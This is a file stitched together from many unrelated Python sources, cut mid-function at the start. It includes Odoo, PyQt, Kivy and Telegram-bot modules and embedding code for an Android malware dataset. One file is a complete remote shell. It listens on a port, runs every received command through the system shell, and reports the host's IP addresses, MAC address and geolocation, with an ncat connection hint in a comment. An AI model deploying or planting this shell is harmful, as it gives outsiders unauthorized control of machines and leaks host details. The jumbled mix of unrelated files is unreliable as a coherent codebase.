        return super()._get_datum(data_id)


import logging

from odoo import fields, models

_logger = logging.getLogger(__name__)

class FamilyContactInformationUpdate(models.TransientModel):
    _description = 'Family Contact Information Update'
    _name = 'clv.family.contact_information_updt'

    def _default_family_ids(self):
        return self._context.get('active_ids')
    family_ids = fields.Many2many(
        comodel_name='clv.family',
        relation='clv_family_contact_information_updt_rel',
        string='Families',
        default=_default_family_ids
    )

    updt_phone = fields.Boolean(string='Update Phone', default=False)
    updt_mobile = fields.Boolean(string='Update Mobile', default=False)
    updt_email = fields.Boolean(string='Update Email', default=False)

    # @api.multi
    def _reopen_form(self):
        self.ensure_one()
        action = {
            'type': 'ir.actions.act_window',
            'res_model': self._name,
            'res_id': self.id,
            'view_type': 'form',
            'view_mode': 'form',
            'target': 'new',
        }
        return action

    # @api.multi
    def do_family_contact_information_updt(self):
        self.ensure_one()

        family_count = 0
        for family in self.family_ids:

            family_count += 1

            _logger.info(u'%s %s %s', '>>>>>', family_count, family.name)

            if family.ref_address_id is not False:

                values = {}

                values['street_name'] = family.ref_address_id.street_name
                values['street2'] = family.ref_address_id.street2
                values['country_id'] = family.ref_address_id.country_id.id
                values['state_id'] = family.ref_address_id.state_id.id
                values['city'] = family.ref_address_id.city
                values['zip'] = family.ref_address_id.zip
                if self.updt_phone:
                    values['phone'] = family.ref_address_id.phone
                if self.updt_mobile:
                    values['mobile'] = family.ref_address_id.mobile
                if self.updt_email:
                    values['email'] = family.ref_address_id.email

                _logger.info(u'%s %s %s', '>>>>>>>>>>', 'values:', values)

                family.write(values)

        return True


import numpy as np
import heapq
import scipy.io as scio

#neighbours
num=6

def sumlist(ls):
    total = 0
    for ele in range(0, len(ls)):
        total = total + ls[ele]
    return total

def get_neibor_index(m):
    max_number = heapq.nlargest(num, m)
    max_index = []
    for t in max_number:
        index = m.index(t)
        max_index.append(index)
        m[index] = 0
    # print(max_number)
    # print(max_index)
    return  max_index,max_number

def aggregation(M,m,index):
    # for i in len(m):
    #     m[i]=2*m[i]/(M[index][index])
    nerlist,nervaluelist = get_neibor_index(m)
    # print(nerlist)
    # print(nervaluelist)
    # 权重列表 numpy
    powerlist = np.array(nervaluelist)/sumlist(nervaluelist)
    # print(powerlist)

    temlist=[]
    d = []
    res=np.zeros((1,128))
    j=0
    for i in nerlist:

        res += M[i]*powerlist[j]
        # res += M[i] * 0.2
        j+=1

    # print(res)
    return res

M=np.load('getembeding\\featts.npy')

A_extern = scio.loadmat('new_adj\\nebor_adj_CIC2019\\new_Res_extern_package.mat')['permission']
A_interface = scio.loadmat('new_adj\\nebor_adj_CIC2019\\new_Res_Interface.mat')['permission']
A_per = scio.loadmat('new_adj\\nebor_adj_CIC2019\\new_Res_permission.mat')['permission']
A_so = scio.loadmat('new_adj\\nebor_adj_CIC2019\\new_Res_so.mat')['permission']
A_api= scio.loadmat('new_adj\\nebor_adj_CIC2019\\new_Res_APICIC2019.mat')['permission']

res=np.zeros((len(A_per)-3, 128))

for i in range(0,len(A_per)-3):
    l_e = A_extern[i].tolist()
    l_n_e = aggregation(M, l_e,i)
    # print(l_n_e)
    # res[i]=l_n_e
    l_i = A_interface[i].tolist()
    l_n_i = aggregation(M, l_i, i)
    # res[i] = l_n_i
    l_p = A_per[i].tolist()
    l_n_p = aggregation(M, l_p,i)
    l_s = A_so[i].tolist()
    l_n_s= aggregation(M, l_s,i)
    l_a = A_api[i].tolist()
    l_n_a = aggregation(M, l_a, i)

    # res[i] = (l_n_e+l_n_i+l_n_p+l_n_a)/4
    res[i] = l_n_e*0.12+ l_n_i *0.1 + l_n_p *0.57 + 0.17*l_n_a + l_n_s *0.1
    # res[i] =l_n_a
print(res.shape)

#adjust
# listd=[]
#
# for i in range(249,251):
#     listd.append(i)
# res=np.delete(res,listd,axis=0)
#
# print(np.argwhere(np.isnan(res)))
# print(res)
# print(res.shape)

np.save('new_app_emb\\new_app_emb_CIC2019\\new_app_emb_all_6.npz',res)


from __future__ import division
import logging
import pkg_resources as pkr
from voluptuous import Schema, Required, Optional, MultipleInvalid
from .plugin import AssertPlugin
from .filter import FilterPlugin
from .datasource import DataSource

class SysAssert(object):

    schema = Schema({
        str: {
            Optional('params'): {'strict': bool},
            Required('components'): [dict],
        }
    })

    def __init__(self):
        self.log = logging.getLogger(__name__)
        self._plugins = self.load_plugins()
        self._filters = self.load_filters()

    @property
    def plugins(self):
        """
        returns the list of loaded plugin classes
        """
        return self._plugins

    @staticmethod
    def load_plugins():
        """
        retrieves the available plugin classes registered with pkg_resources
        under the "sysassert_plugin_v1" entrypoint
        """
        plugins = {}
        for entry in pkr.iter_entry_points(group='sysassert_plugin_v1'):
            plugin_class = entry.load()
            assert issubclass(plugin_class, AssertPlugin)
            plugins[entry.name] = entry.load()
        return plugins

    @property
    def filters(self):
        """
        returns the list of loaded filter classes
        """
        return self._filters

    @staticmethod
    def load_filters():
        """
        retrieves the available filter classes registered with pkg_resources
        under the "sysassert_filter_v1" entrypoint
        """
        plugins = {}
        for entry in pkr.iter_entry_points(group='sysassert_filter_v1'):
            plugin_class = entry.load()
            assert issubclass(plugin_class, FilterPlugin)
            plugins[entry.name] = entry.load()
        return plugins

    def dependencies(self):
        """
        generates the list of shell command dependencies
        """
        for entry in pkr.iter_entry_points(group='sysassert_datasource_v1'):
            ds_class = entry.load()
            assert issubclass(ds_class, DataSource)
            yield from ds_class.get_deps()

    def lint(self, profile):
        """
        validates a profile data structure
        """
        try:
            self.schema(profile)
        except MultipleInvalid as err:
            raise Exception(err)
        return True

    def validate(self, profile):
        """
        do the actual job of validating the system
        """
        overall_status = True
        try:
            profile = self.schema(profile)
        except MultipleInvalid as exc:
            self.log.error(_('error in configuration: {0}').format(exc))

        for plugin_name, plugin_data in sorted(profile.items()):
            self.log.debug(_('config section: {0}').format(plugin_name))
            if plugin_name not in self.plugins:
                self.log.error(_('plugin not found: {0}').format(plugin_name))
                return False
            self.log.debug(_('configuring plugin: {0}').format(plugin_name))
            plugin = self.plugins[plugin_name]()
            self.log.info(_('----- BEGIN {0} -----').format(_(plugin_name).upper()))
            if plugin.validate(plugin_data['components'],
                               **plugin_data.get('params', {})) is False:
                overall_status = False
            self.log.info(_('----- END {0} -----').format(_(plugin_name).upper()))

        return overall_status

    def generate(self, plugins=None, filtered=False):
        """
        generate configuration from what was seen by plugins
        """
        results = {}

        if plugins is None or len(plugins) == 0:
            plugins = self.plugins

        for plugin_name in sorted(set(plugins)):
            self.log.debug(_('generating with plugin: {0}').format(plugin_name))
            if plugin_name not in self.plugins:
                raise KeyError(_('unknown plugin: {0}').format(plugin_name))
            plugin = self.plugins[plugin_name]()
            #results[plugin_name] = {'components': plugin.generate()}
            # filter on string type value because we don't accurately
            # compare subtables for now
            components = [{key: value
                           for key, value in entry.items()
                           if type(value) == str}
                          for entry in plugin.generate()]
            # filter components
            self.log.debug(plugin_name in self.filters)
            if filtered and plugin_name in self.filters:
                self.log.debug(_('filtering with filter: {0}'
                                 .format(plugin_name)))
                cfilter = self.filters[plugin_name]()
                components = cfilter.filtered_components(components)

            results[plugin_name] = {'components': components}

        # output must validate input schema
        return self.schema(results)

    def _adjust_unit(self, size, base=1024):
        units = ['', 'k', 'M', 'G', 'T', 'P', 'E']
        while size > base and len(units) > 1:
            size /= base
            units.pop(0)
        return (size, units.pop(0))

    def describe(self):
        """
        outputs a basic description of the system
        """
        self.log.info(_('----- BEGIN MACHINE DESCRIPTION -----'))

        data = self.generate(['system', 'disk', 'memory', 'processor', 'pci'])

        # System
        systems = data['system']['components']
        self.log.info(_('{0} system(s) found:'.format(len(systems))))
        for system in systems:
            self.log.info(_('  - {system[manufacturer]} {system[product-name]} '
                            '(serial: {system[serial-number]})')
                          .format(system=system))

        # Processors
        processors = data['processor']['components']
        self.log.info(_('{0} processor(s) found:'.format(len(processors))))
        for processor in processors:
            self.log.info(_('  - {processor[socket_designation]}: '
                            '{processor[version]} '
                            '({processor[core_count]} core(s))')
                          .format(processor=processor))

        # Memory
        memories = data['memory']['components']
        self.log.info(_('{0} memory device(s) found:'.format(len(memories))))
        for memory in memories:
            self.log.info(_('  - {memory[locator]}: {memory[size]} '
                            '{memory[speed]} {memory[type]} '
                            'from {memory[manufacturer]}'
                          .format(memory=memory)))

        # Disks
        disks = data['disk']['components']
        self.log.info(_('{0} disks(s) found:'.format(len(disks))))
        for disk in disks:
            disktype = 'rotational' if disk['rota'] == '1' else 'ssd'
            size, unit = self._adjust_unit(int(disk['size']))
            self.log.info(_('  - {disk[model]} ({disktype}, {size:.0f} {unit}B)')
                          .format(disk=disk, disktype=disktype,
                                  size=size, unit=unit))

        # Ethernet Controllers
        eths = [elt for elt in data['pci']['components']
                if elt.get('class') == 'Ethernet controller']
        self.log.info(_('{0} ethernet controller(s) found:'.format(len(eths))))
        for eth in eths:
            self.log.info(_('  - {eth[device]} ({eth[slot]})')
                          .format(eth=eth))

        self.log.info(_('----- END MACHINE DESCRIPTION -----'))


# -*- coding: utf-8 -*-

from aocd.models import Puzzle
import utils

def compare(first, second, debug=False):
    if debug:
        print(first, "vs", second)
    if isinstance(second, int) and isinstance(first, int):
        if first == second:
            return None
        return first < second
    if isinstance(first, int):
        first = [first]
    if isinstance(second, int):
        second = [second]

    for i, j in zip(first, second):
        # now both lists
        is_valid = compare(i, j)
        if is_valid is not None:
            return is_valid

    if len(first) < len(second):
        return True
    if len(first) > len(second):
        return False
    return None

@utils.timeit
def solve(input_f=None):
    if not input_f:
        puzzle = Puzzle(year=2022, day=13)
        data = puzzle.input_data.split("\n")
    else:
        data = open(input_f).readlines()
    data.append("\n")
    processed_data = []
    idx = 1
    res = 0
    for line in data:
        if line.strip():
            item = eval(line.strip())
            processed_data.append(item)
        else:
            is_right = compare(processed_data[0], processed_data[1])
            if is_right:
                res += idx
            idx += 1
            processed_data = []
    return res

if __name__ == "__main__":
    # test_puzzle
    print("--------------TEST--------------")
    res = solve("test.txt")
    print("test answer: ", res)

    # real puzzle
    print("--------------PUZZLE--------------")
    res = solve()
    print("puzzle answer", res)


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from PyQt5.QtCore import Qt
from PyQt5.QtWidgets import QDialog

from src.rightClickHelper.component.elePyWidget import ElePyWidget, watchProperty
from src.rightClickHelper.tool.effectTool import EffectTool
from src.rightClickHelper.tool.widgetTool import WidgetTool

class ElePyDialog(
    QDialog, ElePyWidget
):
    def __init__(self, parent=None, properties: dict = None):
        if properties is None: properties = {}
        super().__init__(parent, {
            'shadowRadius': 10
            , 'shadowColor': Qt.gray
            , **properties
        })

    @watchProperty({
        'shadowColor': {'type': int},
        'shadowRadius': {'type': int},
    })
    def shadowChange(self, newVal, oldVal, name):
        EffectTool.setBlur(
            self
            , shadowRadius=WidgetTool.getProperty('shadowRadius', 10)(self)
            , shadowColor=WidgetTool.getProperty('shadowColor', Qt.gray)(self)
        )


import logging
import multiprocessing
import time

logging.basicConfig(level=logging.DEBUG, format='%(threadName)s: %(message)s')

def f(conn):
    # parent_conn から child_conn に送信する
    conn.send(['test'])
    time.sleep(5)
    # 処理の終了で close させている
    conn.close()

if __name__ == '__main__':
    parent_conn, child_conn = multiprocessing.Pipe()
    p = multiprocessing.Process(target=f, args=(parent_conn, ))
    p.start()
    # recv することで send 送られてきたものを受け取れる
    logging.debug(child_conn.recv())


from kivy.app import App
from kivy.uix.label import Label
from kivy.clock import Clock
def read_text_and_display(filename, widget):
    with open(filename, "r") as f:
        text = f.read()
    widget.text = text

    def update_widget(dt):
        with open(filename, "r") as f:
            new_text = f.read()
        widget.text = new_text

    Clock.schedule_interval(update_widget, 1)

class MyApp(App):
    def build(self):
        label = Label()
        read_text_and_display("text.txt", label)
        return label

if __name__ == "__main__":
    MyApp().run()


# ncat localhost 2843

import socket
import subprocess
import os
import uuid
import urllib.request
import json
import platform

class Info:
    def __init__(self):
        pass

    def internalIP(self):
        internal_ip = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        internal_ip.connect(('google.com', 0))
        return internal_ip.getsockname()[0]

    def externalIP(self):
        public_ip = urllib.request.urlopen('https://ipinfo.io/').read().decode('utf8')
        return json.loads(public_ip)['ip']

    @property  # so you don't need to call it like 'mac()'
    def mac(self):
        try:
            hostname = socket.getfqdn(socket.gethostname()).strip()
            return uuid.UUID(int=uuid.getnode()).hex[-12:]
        except:
            return 'null'

    @property
    def hostname(self):
        try:
            hostname = socket.getfqdn(socket.gethostname()).strip()
            return hostname
        except:
            return 'null'

    @property
    def ip(self):
        try:
            # the 'requests' library does not work very well with pyinstaller
            public_ip = self.externalIP()
            private_ip = self.internalIP()
            return f'Public IP: {public_ip}\nPrivate IP: {private_ip}'
        except:
            return 'null'

    @property
    def location(self):
        try:
            data = urllib.request.urlopen('https://ipinfo.io/').read().decode('utf8')
            country = json.loads(data)['country']
            city = json.loads(data)['region']
            return f'location: {country}/{city}'
        except:
            return 'null'

    @property
    def machine(self):
        try:
            return platform.system()
        except:
            return 'null'

    @property
    def core(self):
        try:
            return platform.machine()
        except:
            return 'null'

class Helper:
    def __init__(self):
        pass

    @property
    def general(self):
        return 'This script allows you to run normal shell commands as well as some custom commands, ' \
               'type `!help.info` to get more information about it. '

    @property
    def info(self):
        msg = 'The info command gives you information about the system\n\n'
        msg += 'info.mac: MAC address\n'
        msg += 'info.hostname: name assigned to this device in this network\n'
        msg += 'info.ip: private and public ip address\n'
        msg += 'info.location: country/city\n'
        msg += 'info.machine: OS\n'
        msg += 'info.core: CPU'
        return msg

class ReverseShell:
    HOST = 'localhost'
    PORT = 2843
    BUFF_SIZE = 2048

    def __init__(self):
        self.isAlive = True
        self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)  # TCP socket
        self.s.bind((self.HOST, self.PORT))  # bind it to the address we have specified above
        self.s.listen()  # listen for connections
        print(f'listening on {self.HOST}:{self.PORT}')
        self.client_socket, self.client_address = self.s.accept()
        print(f'Accepted connection: {self.client_address[0]}:{self.client_address[1]}')

    def send_msg(self, msg):
        msg = bytes(f'{msg}\n\n:> ', 'utf8')  # str into utf8 bytes conversion
        send = self.client_socket.sendall(msg)
        return send

    def receive_msg(self):
        receive = self.client_socket.recv(self.BUFF_SIZE)
        return receive

    def hq(self, msg):
        try:
            if msg == 'destroy':
                self.client_socket.close()  # close the client socket
                print('client connection closed')
                self.isAlive = False

            elif msg[:5] == 'info.':
                info = Info()
                if len(msg) > 5:
                    if msg[:12] == 'info.machine':
                        self.send_msg(info.machine)

                    elif msg[:13] == 'info.hostname':
                        self.send_msg(info.hostname)

                    elif msg[:7] == 'info.ip':
                        self.send_msg(info.ip)

                    elif msg[:13] == 'info.location':
                        self.send_msg(info.location)

                    elif msg[:8] == 'info.mac':
                        self.send_msg(info.mac)

                    elif msg[:9] == 'info.core':
                        self.send_msg(info.core)

                else:
                    helper = Helper()
                    self.send_msg(helper.info)

            elif msg[:5] == '!help':
                helper = Helper()
                if len(msg) > 5 and msg[6:] != '':
                    if msg[6:] == 'info':
                        self.send_msg(helper.info)
                else:
                    self.send_msg(helper.general)

            else:
                # Normal terminal commands
                tsk = subprocess.Popen(args=msg, shell=True, stdin=subprocess.PIPE,
                                       stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
                stdout, stderr = tsk.communicate()
                result = stdout.decode('utf8')  # stdout result decoded in utf8
                if msg[:2] == 'cd':  # change directory functionality added
                    os.chdir(msg[3:])
                    self.send_msg(f'*directory changed* "{os.getcwd()}"\n')

                elif msg[:4] == 'exit':
                    self.client_socket.close()  # close the client socket
                    print('client connection closed')
                    self.socketInit()  # listens for a new connection again

                else:
                    self.send_msg(result)  # sends stdout

        except Exception as e:
            self.send_msg(f'Error executing the operation:\n{e}')

    def socketInit(self):
        # will wait until it receives a new connection, and then jump to main()
        print(f'listening on {self.HOST}:{self.PORT}')
        self.client_socket, self.client_address = self.s.accept()
        print(f'Accepted connection: {self.client_address[0]}:{self.client_address[1]}')
        self.main()

    def main(self):
        if self.send_msg('\\o/ You have connected\nType !help to get more information about this script\nType `exit` '
                         'or press `ctrl + c` to close client connection\nType `destroy` to stop the script') is not \
                None:
            print('Error :(')

        while self.isAlive:
            try:
                msg = ''
                chunk = self.receive_msg()
                msg += chunk.strip().decode('utf8')
                # print(msg)  # prints the msg you have sent through ncat
                self.hq(msg)  # hq for commands, functions, etc using received msg

            except:  # just if the app crashes and can't exit properly
                self.client_socket.close()
                print('client connection closed')
                self.socketInit()

if __name__ == '__main__':
    revShell = ReverseShell()
    revShell.main()


import json
import string
import os

law_suffix = "law"
courses_json = "./courses.json"
grade_urls = [
    "/courses/grade-1/", "/courses/grade-2/",
    "/courses/grade-3/", "/courses/grade-4/"
]
# grade_urls = [
#     "/courses_maphd/1/"
# ]

grade_dirs = ["." + x for x in grade_urls]

def int_2_hashstring(param1):
    param1 = int(param1)
    ret = ""
    tmp = []
    for each in string.ascii_letters:
        tmp.append(each)
    for each in string.digits:
        tmp.append(each)
    while param1 > 0:
        ret = ret + tmp[param1 % len(tmp)]
        param1 = param1 // len(tmp)
    return ret

course_page_template = """
# {course_id} {course_name}

本课程页面暂无内容，期待大家的共同建设\\~🔥

如果你愿意提供任何信息与观点，请在下方评论区留言，网站维护者会在第一时间看到，且会酌情将其添加为本课程页面的内容⚡
"""

entry_template = "- [{course_id} {course_name}]({grade_url}{hashed_course_id})\n"

IsSuitableForLaw = False
IsSuitableForLaw = int(input("please input a number for option: 0 for cs, 1 for law:\n"))

if IsSuitableForLaw == 1:
    courses_json = courses_json.replace("courses", "courses" + "_" + law_suffix)

with open(courses_json, encoding="utf8") as f:
    courses = json.load(f)

# basic data validation
assert len(courses) == len(grade_urls)
assert all(isinstance(x, dict) for x in courses)

for i in range(len(grade_urls)):
    # print(IsSuitableForLaw)
    if IsSuitableForLaw == 1:
        grade_dirs[i] = grade_dirs[i].replace("courses", "courses" + "_" + law_suffix)
        grade_urls[i] = grade_urls[i].replace("courses", "courses" + "_" + law_suffix)
    # print(grade_urls[i], grade_dirs[i], courses[i])

    grade_courses, grade_dir, grade_url = courses[i], grade_dirs[i], grade_urls[i]

    readme = open(os.path.join(grade_dir, "README.md"),
                  mode="a", encoding="utf8")
    sidebar = open(os.path.join(grade_dir, "_sidebar.md"),
                   mode="a", encoding="utf8")
    for course_id in sorted(grade_courses.keys()):  # sort by course ID
        course_name = grade_courses[course_id]
        # hashed_course_id = int_2_hashstring(course_id)
        hashed_course_id = course_id
        course_path = os.path.join(
            grade_dir, hashed_course_id.replace("/", "-") + ".md")
        if not os.path.exists(course_path):
            with open(course_path, "w", encoding='utf8') as page:
                page.write(course_page_template.format(
                    course_id=course_id, course_name=course_name)
                )
        readme.write(entry_template.format(
            course_id=course_id, course_name=course_name, grade_url=grade_url, hashed_course_id=hashed_course_id
        ))
        sidebar.write(entry_template.format(
            course_id=course_id, course_name=course_name, grade_url=grade_url, hashed_course_id=hashed_course_id
        ))


from .utils import UNDEFINED, is_undefined
from .cvs import vocabs
from .rules import rules

import re
import numpy as np

def _get_bounds_var_ids(dct):
    return [var_id for var_id in dct["variables"] if (
            var_id.startswith("bounds_") or var_id.startswith("bnds_") or
            var_id.endswith("_bounds") or var_id.endswith("_bnds"))]

def one_spelling_mistake(word):
    """
    All edits that are one edit away from `word`.
    Adapted from https://norvig.com/spell-correct.html
    """
    letters    = 'abcdefghijklmnopqrstuvwxyz0123456789._-'
    splits     = [(word[:i], word[i:])    for i in range(1,len(word) + 1)]  # 1 in range requires first letter to be correct
    deletes    = [L + R[1:]               for L, R in splits if R]
    transposes = [L + R[1] + R[0] + R[2:] for L, R in splits if len(R)>1]
    replaces   = [L + c + R[1:]           for L, R in splits if R for c in letters]
    inserts    = [L + c + R               for L, R in splits for c in letters]
    return set(deletes + transposes + replaces + inserts)

def two_spelling_mistakes(word):
    """
    All edits that are two edits away from `word`.
    From https://norvig.com/spell-correct.html
    """
    return set([ e2 for e1 in one_spelling_mistake(word) for e2 in one_spelling_mistake(e1) ])

def search_close_match(search_for, search_in):
    possible_close_edits = two_spelling_mistakes(search_for.lower())
    for s in search_in:
        if s.lower() in possible_close_edits:
            return f"'{s}' was found in this file, should this be '{search_for}'?"
    return ""

def check_var_attrs(dct, defined_attrs, ignore_bounds=True, skip_spellcheck=False):
    """
    Check that variable attributes are defined.

    E.g.: check-var-attrs:defined_attrs:long_name|units
    """
    errors = []
    warnings = []

    bounds_vars = _get_bounds_var_ids(dct)

    for var_id, var_dict in dct["variables"].items():
        if var_id in bounds_vars: continue

        for attr in defined_attrs:
            if is_undefined(var_dict.get(attr)):
                errors.append(f"[variable**************:{var_id}]: Attribute '{attr}' must have a valid definition.")

    return errors, warnings

def check_global_attrs(dct, defined_attrs=None, vocab_attrs=None, regex_attrs=None, rules_attrs=None, skip_spellcheck=False):
    """
    Check that required global attributes are correct.

    E.g.: check-global-attrs:defined_attrs:source
          check-global-attrs:vocab_attrs:Conventions
    """
    defined_attrs = defined_attrs or []
    vocab_attrs = vocab_attrs or {}
    regex_attrs = regex_attrs or {}
    rules_attrs = rules_attrs or {}

    errors = []
    warnings = []

    for attr in defined_attrs:
        if attr not in dct['global_attributes']:
            errors.append(
                f"[global-attributes:**************:{attr}]: Attribute '{attr}' does not exist. "
                f"{search_close_match(attr, dct['global_attributes'].keys()) if not skip_spellcheck else ''}"
            )
        elif is_undefined(dct['global_attributes'].get(attr)):
            errors.append(f"[global-attributes:**************:{attr}]: No value defined for attribute '{attr}'.")

    for attr in vocab_attrs:
        if attr not in dct['global_attributes']:
            errors.append(
                f"[global-attributes:**************:{attr}]: Attribute '{attr}' does not exist. "
                f"{search_close_match(attr, dct['global_attributes'].keys()) if not skip_spellcheck else ''}"
            )
        elif is_undefined(dct['global_attributes'].get(attr)):
            errors.append(f"[global-attributes:**************:{attr}]: No value defined for attribute '{attr}'.")
        else:
            errors.extend(vocabs.check(vocab_attrs[attr], dct["global_attributes"].get(attr), label=f"[global-attributes:******:{attr}]***"))

    for attr in regex_attrs:
        if attr not in dct['global_attributes']:
            errors.append(
                f"[global-attributes:**************:{attr}]: Attribute '{attr}' does not exist. "
                f"{search_close_match(attr, dct['global_attributes'].keys()) if not skip_spellcheck else ''}"
            )
        elif is_undefined(dct['global_attributes'].get(attr)):
            errors.append(f"[global-attributes:**************:{attr}]: No value defined for attribute '{attr}'.")
        elif not re.match(regex_attrs[attr], dct['global_attributes'].get(attr)):
            errors.append(
                f"[global-attributes:******:{attr}]: '{dct['global_attributes'].get(attr, UNDEFINED)}' "
                f"does not match regex pattern '{regex_attrs[attr]}'."
            )

    for attr in rules_attrs:
        if attr not in dct['global_attributes']:
            errors.append(
                f"[global-attributes:**************:{attr}]: Attribute '{attr}' does not exist. "
                f"{search_close_match(attr, dct['global_attributes'].keys()) if not skip_spellcheck else ''}"
            )
        elif is_undefined(dct['global_attributes'].get(attr)):
            errors.append(f"[global-attributes:**************:{attr}]: No value defined for attribute '{attr}'.")
        else:
            errors.extend(rules.check(rules_attrs[attr], dct['global_attributes'].get(attr), label=f"[global-attributes:******:{attr}]***"))

    return errors, warnings

def check_var_exists(dct, variables, skip_spellcheck=False):
    """
    Check that variables exist

    E.g. check-var-exists:variables:time|altitude
    """
    errors = []
    warnings = []

    for var in variables:
        if ':__OPTIONAL__' in var:
            var = var.split(':')[0]
            if var not in dct["variables"].keys():
                warnings.append(
                    f"[variable**************:{var}]: Optional variable does not exist in file. "
                    f"{search_close_match(var, dct['variables'].keys()) if not skip_spellcheck else ''}"
                )
        else:
            if var not in dct["variables"].keys():
                errors.append(
                    f"[variable**************:{var}]: Does not exist in file. "
                    f"{search_close_match(var, dct['variables'].keys()) if not skip_spellcheck else ''}"
                )

    return errors, warnings

def check_dim_exists(dct, dimensions, skip_spellcheck=False):
    """
    Check that variables exist

    E.g. check-dim-exists:dimensions:time|latitude
    """
    errors = []
    warnings = []

    for dim in dimensions:
        if ':__OPTIONAL__' in dim:
            dim = dim.split(':')[0]
            if dim not in dct["dimensions"].keys():
                warnings.append(
                    f"[dimension**************:{dim}]: Optional dimension does not exist in file. "
                    f"{search_close_match(dim, dct['dimensions'].keys()) if not skip_spellcheck else ''}"
                )
        else:
            if dim not in dct["dimensions"].keys():
                errors.append(
                    f"[dimension**************:{dim}]: Does not exist in file. "
                    f"{search_close_match(dim, dct['dimensions'].keys()) if not skip_spellcheck else ''}"
                )

    return errors, warnings

def check_var(dct, variable, defined_attrs, skip_spellcheck=False):
    """
    Check variable exists and has attributes defined.
    """
    errors = []
    warnings = []

    if isinstance(variable, list):
        variable = variable[0]
    if ':__OPTIONAL__' in variable:
        variable = variable.split(':')[0]
        if variable not in dct["variables"].keys():
            warnings.append(
                f"[variable**************:{variable}]: Optional variable does not exist in file. "
                f"{search_close_match(variable, dct['variables'].keys()) if not skip_spellcheck else ''}"
            )
        else:
            for attr in defined_attrs:
                if isinstance(attr, dict) and len(attr.keys()) == 1:
                    for key,value in attr.items():
                        attr = f'{key}: {value}'
                attr_key = attr.split(':')[0]
                attr_value = ':'.join(attr.split(':')[1:])
                if attr_key not in dct["variables"][variable]:
                    errors.append(
                        f"[variable**************:{variable}]: Attribute '{attr_key}' does not exist. "
                        f"{search_close_match(attr_key, dct['variables'][variable]) if not skip_spellcheck else ''}"
                    )
                elif '<derived from file>' in attr_value:
                    # work this out
                    pass
                elif attr_key == 'flag_values':
                    attr_value = attr_value.strip(',')
                    attr_value = [ int(i.strip('b')) for i in attr_value.split(',') ]
                    attr_value = np.array(attr_value, dtype=np.int8)
                    if not np.all(dct["variables"][variable].get(attr_key) == attr_value):
                        errors.append(
                            f"[variable**************:{variable}]: Attribute '{attr_key}' must have definition {attr_value}, "
                            f"not {dct['variables'][variable].get(attr_key) if skip_spellcheck else ''}."
                        )
                #elif attr_key == 'flag_meanings':
                #    print(attr_value)
                #    print(dct["variables"][variable].get(attr_key))
                elif not str(dct["variables"][variable].get(attr_key)) == attr_value:
                    errors.append(
                        f"[variable**************:{variable}]: Attribute '{attr_key}' must have definition {attr_value}, "
                        f"not {dct['variables'][variable].get(attr_key).encode('unicode_escape').decode('utf-8')}."
                    )
    else:
        if variable not in dct["variables"].keys():
            errors.append(
                f"[variable**************:{variable}]: Optional variable does not exist in file. "
                f"{search_close_match(variable, dct['variables'].keys()) if not skip_spellcheck else ''}"
            )
        else:
            for attr in defined_attrs:
                attr_key = attr.split(':')[0]
                attr_value = ':'.join(attr.split(':')[1:])
                if attr_key not in dct["variables"][variable]:
                    errors.append(
                        f"[variable**************:{variable}]: Attribute '{attr_key}' does not exist. "
                        f"{search_close_match(attr_key, dct['variables'][variable]) if not skip_spellcheck else ''}"
                    )
                elif '<' in attr_value:
                    # work this out
                    pass
                elif not dct["variables"][variable].get(attr_key) == attr_value:
                    errors.append(
                        f"[variable**************:{variable}]: Attribute '{attr_key}' must have definition {attr_value}, "
                        f"not {dct['variables'][variable].get(attr_key)}."
                    )

    return errors, warnings


import random
from datetime import datetime, timedelta
from lotteries.models import Event, Ballot

def chooseWinner(event_id):
    ballots = Ballot.objects.get(id=event_id)
    # choosing a random ballot
    winner_ballot = random.choice(ballots)
    return winner_ballot.numbers

def renewEvent():
    # Get yesterday's date as string
    yesterday = datetime.now() - timedelta(1)
    yesterday = yesterday.strftime('%Y-%m-%d')
    # get today's date as string
    today = datetime.today().strftime('%Y-%m-%d')

    # Get yesterday's event
    old_event = Event.objects.get(isFinished=False)
    old_event_id = old_event.id
    # Set yesterday's event winner
    old_event.winner = chooseWinner(old_event_id)
    # Close yesterday's event
    old_event.is_finished = True

    # Create new event
    if Event.objects.filter(date=today).exists():
        print("Event already exists.")
    else:
        new_event = Event(date=today)
        new_event.save()


import asyncio

from pyrogram import Client, filters
from pyrogram.types import Message
import re

# noinspection PyUnresolvedReferences
from utils.misc import modules_help, prefix
from utils.scripts import import_library, format_exc
from subprocess import STDOUT, check_call, CalledProcessError
import os

_spotdl = import_library("spotdl")

try:
    check_call(
        ["apt-get", "install", "-y", "ffmpeg"],
        stdout=open(os.devnull, "wb"),
        stderr=STDOUT,
    )
    ffmpeg = True
except:
    ffmpeg = False

# noinspection PyUnusedLocal
@Client.on_message(filters.command(["spotdl", "sdl"], prefix) & filters.me)
async def spotdl_handler(client: Client, message: Message):
    try:
        if len(message.command) == 1 and not message.reply_to_message:
            await message.edit("Please use: .spotdl [link]")
            return
        elif len(message.command) > 1:
            spoti_query = message.command[1]
        elif message.reply_to_message:
            spoti_query = message.reply_to_message.text.split('\n')[0]

        if not ffmpeg:
            return await message.edit(
                "Please install (ffmpeg.org) library on your os (and restart Dragon-Userbot)",
                disable_web_page_preview=True,
            )

        await message.edit("Downloading...")

        try:
            download = check_call(
                ["spotdl", "--output", "downloads/", f'"{spoti_query}"'],
                stdout=open("spotdl_logs.txt", "wb"),
            )
            logs = open("spotdl_logs.txt", "r", encoding="utf-8").read()
        except CalledProcessError:
            logs = "".join(open("spotdl_logs.txt", "r", encoding="utf-8").readlines()[-3:])
            if " as it's already downloaded" in logs:
                name = logs.split("\" as it's already downloaded")[0].split('"')[-1]
                await message.reply_audio(
                    f"downloads/{name}.mp3",
                    caption=f"{name}\n" f"{spoti_query}",
                )
                os.remove(f"downloads/{name}.mp3")
                return await message.delete()
            else:
                return await message.edit(
                    f"Spotify-Download error:\n{logs}"
                )

        music_names = re.findall(r"(?<= for \")[^\"]+", logs)

        for name in set(music_names):
            await message.reply_audio(
                f"downloads/{name}.mp3",
                caption=f"{name}\n" f"{spoti_query}",
            )
            os.remove(f"downloads/{name}.mp3")
            await asyncio.sleep(0.5)
        return await message.delete()
    except Exception as e:
        await message.edit(f"Spotify-Download error:\n{format_exc(e)}")

modules_help["spotdl"] = {
    "spotdl [link]*": "Download spotify music by link",
}


import unittest
import time
import pytest

